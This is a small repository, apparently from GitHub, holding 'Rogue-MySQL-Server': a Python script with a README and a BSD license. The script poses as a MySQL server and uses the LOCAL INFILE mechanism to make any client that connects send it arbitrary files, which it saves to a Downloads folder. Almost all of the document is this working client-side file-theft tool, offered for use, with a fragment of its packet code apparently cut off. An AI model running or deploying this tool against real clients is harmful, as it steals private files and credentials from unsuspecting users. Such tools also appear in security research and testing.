├── LICENSE ├── README.md └── RogueSQL.py /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013, Gifts 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | Redistributions in binary form must reproduce the above copyright notice, this 11 | list of conditions and the following disclaimer in the documentation and/or 12 | other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 21 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Rogue-MySQL-Server 2 | 3 | The script starts a MySQL server that requests and retrieves files from clients that connect to it. 4 | 5 | ## Features 6 | - Single file retrieval or specify a file-list 7 | - Specify a number of attempts to use for each file 8 | - Tested on Windows and Linux 9 | 10 | ``` 11 | usage: RogueSQL [-h] [-p port] [-f filename] [-l filelist] [-a attempts] [-v] 12 | [-d] 13 | 14 | Rogue MySQL server 15 | 16 | optional arguments: 17 | -h, --help show this help message and exit 18 | -p port port to run the server on 19 | -f filename specify a single filename to retrieve 20 | -l filelist path to file with list of files for download 21 | -a attempts how many times to request a file before giving up 22 | -v toggle verbosity 23 | -d log debug messages 24 | ``` 25 | 26 | All downloaded files will be contained in `Downloads` folder. 27 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /RogueSQL.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import socket 4 | import asyncore 5 | import asynchat 6 | import struct 7 | import logging 8 | import logging.handlers 9 | import argparse 10 | import os 11 | import sys 12 | import signal 13 | 14 | DEBUG = False 15 | PORT = 3306 16 | LOG_FILE = 'rogueSQL.log' 17 | VERBOSE = False 18 | SAVE_FOLDER = os.sep.join(os.path.abspath(__file__).split(os.sep)[:-1]) + os.sep + 'Downloads' + os.sep 19 | ATTEMPTS = 3 20 | 21 | # Logging stuff 22 | log = logging.getLogger(__name__) 23 | log.setLevel(logging.INFO) 24 | tmp_format = logging.handlers.WatchedFileHandler(LOG_FILE, 'ab') 25 | tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) 26 | log.addHandler( 27 | tmp_format 28 | ) 29 | 30 | parser = argparse.ArgumentParser(prog='RogueSQL', description='Rogue MySQL server') 31 | parser.add_argument("-p", metavar='port', help='port to run the server on', type=int) 32 | parser.add_argument("-f", metavar='filename', help="specify a single filename to retrieve") 33 | parser.add_argument("-l", metavar='filelist', help="path to file with list of files for download") 34 | parser.add_argument("-a", metavar='attempts', help='how many times to request a file before giving up', type=int) 35 | parser.add_argument("-v", action='store_true', help='toggle verbosity') 36 | parser.add_argument("-d", action='store_true', help='log debug messages') 37 | 38 | def handler(sig, frame): 39 | print('[+] Exiting now...') 40 | sys.exit(0) 41 | 42 | class LastPacket(Exception): 43 | pass 44 | 45 | class OutOfOrder(Exception): 46 | pass 47 | 48 | class mysql_packet(object): 49 | packet_header = struct.Struct('> 16, 0, self.packet_num % 255) 64 | 65 | result = "{0}{1}".format( 66 | header, 67 | self.payload 68 | ) 69 | return result 70 | 71 | def __repr__(self): 72 | return repr(str(self)) 73 | 74 | @staticmethod 75 | def parse(raw_data): 76 | packet_num = ord(raw_data[0]) 77 | payload = raw_data[1:] 78 | return mysql_packet(packet_num, payload) 79 | 80 | class http_request_handler(asynchat.async_chat): 81 | 82 | def __init__(self, addr): 83 | asynchat.async_chat.__init__(self, sock=addr[0]) 84 | self.addr = addr[1] 85 | self.ibuffer = [] 86 | self.filenumber = 0 87 | self.current_filename = '' 88 | self.set_terminator(3) 89 | self.state = 'LEN' 90 | self.sub_state = 'Auth' 91 | self.logined = False 92 | self.push( 93 | mysql_packet( 94 | 0, 95 | "".join(( 96 | '\x0a', # Protocol 97 | '5.6.28-0ubuntu0.14.04.1' + '\0', 98 | '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00', 99 | )) ) 100 | ) 101 | 102 | self.order = 1 103 | self.states = ['LOGIN', 'CAPS', 'ANY'] 104 | 105 | def push(self, data): 106 | if DEBUG: 107 | log.debug('Pushed:', data) 108 | data = str(data) 109 | asynchat.async_chat.push(self, data) 110 | 111 | def collect_incoming_data(self, data): 112 | self.ibuffer.append(data) 113 | 114 | def found_terminator(self): 115 | data = "".join(self.ibuffer) 116 | self.ibuffer = [] 117 | 118 | if self.state == 'LEN': 119 | len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 120 | if len_bytes < 65536: 121 | self.set_terminator(len_bytes) 122 | self.state = 'Data' 123 | else: 124 | self.state = 'MoreLength' 125 | elif self.state == 'MoreLength': 126 | if data[0] != '\0': 127 | self.push(None) 128 | self.close_when_done() 129 | else: 130 | self.state = 'Data' 131 | elif self.state == 'Data': 132 | packet = mysql_packet.parse(data) 133 | try: 134 | if self.order != packet.packet_num: 135 | raise OutOfOrder() 136 | else: 137 | self.order = packet.packet_num + 2 138 | 139 | if packet.packet_num == 0: 140 | global prevFilename 141 | global failCount 142 | 143 | if packet.payload[0] == '\x03': 144 | 145 | # Set the current file 146 | self.current_filename = filelist[self.filenumber] 147 | 148 | if DEBUG: 149 | log.info('Previous request: %s; Next request: %s' % (prevFilename, self.current_filename)) 150 | 151 | if self.current_filename == prevFilename: 152 | # Means a failed request previously 153 | failCount += 1 154 | 155 | if failCount != ATTEMPTS: 156 | print('[-] Moving on from this file in ' + str(ATTEMPTS - failCount) + ' attempt/s') 157 | else: 158 | print('[-] Moving on to next file') 159 | del filelist[self.filenumber] 160 | failCount = 0 161 | if len(filelist) == 1: 162 | print('[+] End of file list reached') 163 | print('[+] Exiting now...') 164 | sys.exit(0) 165 | 166 | self.current_filename = filelist[self.filenumber] 167 | 168 | PACKET = mysql_packet( 169 | packet, 170 | '\xFB{0}'.format(self.current_filename) 171 | ) 172 | 173 | if DEBUG: 174 | log.info('Requesting for file: %s' % self.current_filename) 175 | print('[+] Requesting %s' % self.current_filename) 176 | 177 | prevFilename = self.current_filename 178 | 179 | self.set_terminator(3) 180 | self.state = 'LEN' 181 | self.sub_state = 'File' 182 | self.push(PACKET) 183 | 184 | elif packet.payload[0] == '\x1b': 185 | if DEBUG: 186 | log.info('SelectDB') 187 | self.push(mysql_packet( 188 | packet, 189 | '\xfe\x00\x00\x02\x00' 190 | )) 191 | raise LastPacket() 192 | 193 | elif packet.payload[0] in '\x02': 194 | self.push(mysql_packet( 195 | packet, '\0\0\0\x02\0\0\0' 196 | )) 197 | raise LastPacket() 198 | 199 | elif packet.payload == '\x00\x01': 200 | self.push(None) 201 | self.close_when_done() 202 | else: 203 | raise ValueError() 204 | 205 | else: 206 | # Recieved file handling 207 | if self.sub_state == 'File': 208 | if len(data) == 1: 209 | if packet.packet_num < 256 and self.filenumber < len(filelist) - 1: 210 | self.current_filename = filelist[self.filenumber] 211 | self.set_terminator(3) 212 | self.state = 'LEN' 213 | self.sub_state = 'File' 214 | self.push( 215 | mysql_packet(packet, '\xFB{0}'.format(self.current_filename)) 216 | ) 217 | else: 218 | self.push( 219 | mysql_packet(packet, '\0\0\0\x02\0\0\0') 220 | ) 221 | sys.exit(0) 222 | else: 223 | with open(SAVE_FOLDER + os.path.normpath(self.current_filename).split(os.sep)[-1], 'ab') as fl: 224 | fl.write(data) 225 | if self.current_filename not in obtained: 226 | print('[+] File %s obtained' % self.current_filename) 227 | obtained.add(self.current_filename) 228 | del filelist[self.filenumber] 229 | 230 | self.set_terminator(3) 231 | self.state = 'LEN' 232 | self.order = packet.packet_num + 1 233 | 234 | elif self.sub_state == 'Auth': 235 | self.push(mysql_packet( 236 | packet, '\0\0\0\x02\0\0\0' 237 | )) 238 | raise LastPacket() 239 | else: 240 | raise ValueError('Unknown packet') 241 | 242 | except LastPacket: 243 | if DEBUG: 244 | log.info('Last packet') 245 | 246 | self.state = 'LEN' 247 | self.sub_state = None 248 | self.order = 0 249 | self.set_terminator(3) 250 | 251 | except OutOfOrder: 252 | if DEBUG: 253 | log.warning('Packets out of order') 254 | self.push(None) 255 | self.close_when_done() 256 | else: 257 | if DEBUG: 258 | log.error('Unknown state') 259 | self.push('None') 260 | self.close_when_done() 261 | 262 | 263 | class mysql_listener(asyncore.dispatcher): 264 | def __init__(self, sock=None): 265 | asyncore.dispatcher.__init__(self, sock) 266 | 267 | if not sock: 268 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 269 | self.set_reuse_addr() 270 | try: 271 | self.bind(('', PORT)) 272 | except socket.error: 273 | exit() 274 | 275 | self.listen(5) 276 | 277 | def handle_accept(self): 278 | pair = self.accept() 279 | 280 | if pair is not None: 281 | log.info('Data recieved from: %s' % pair[1][0]) 282 | print('[+] Data recieved from %s' % pair[1][0]) 283 | tmp = http_request_handler(pair) 284 | 285 | if __name__ == '__main__': 286 | 287 | filelist = list() 288 | obtained = set() 289 | failCount = 0 290 | prevFilename = '' 291 | 292 | args = parser.parse_args() 293 | if args.d: 294 | DEBUG = args.d 295 | if args.l: 296 | try: 297 | filelist += filter(None, open(args.l, 'r').read().split('\n')) 298 | except IOError: 299 | print('[-] Error: List file not found') 300 | sys.exit(1) 301 | else: 302 | if not args.f: 303 | print('[-] Error: No files specified') 304 | sys.exit(1) 305 | else: 306 | filelist.append(args.f) 307 | if args.p: 308 | PORT = args.p 309 | if args.a: 310 | ATTEMPTS = args.a 311 | if args.v: 312 | VERBOSE = args.v 313 | 314 | if not os.path.exists(SAVE_FOLDER): 315 | os.mkdir(SAVE_FOLDER) 316 | 317 | filelist.append('') 318 | 319 | print('Rogue MySQL Server') 320 | print('[+] Target files:') 321 | for file in filelist: 322 | if file is not '': print('\t' + file) 323 | 324 | print('[+] Starting listener on port ' + str(PORT) + '... Ctrl+C to stop\n') 325 | 326 | listener = mysql_listener() 327 | signal.signal(signal.SIGINT, handler) 328 | asyncore.loop() 329 | --------------------------------------------------------------------------------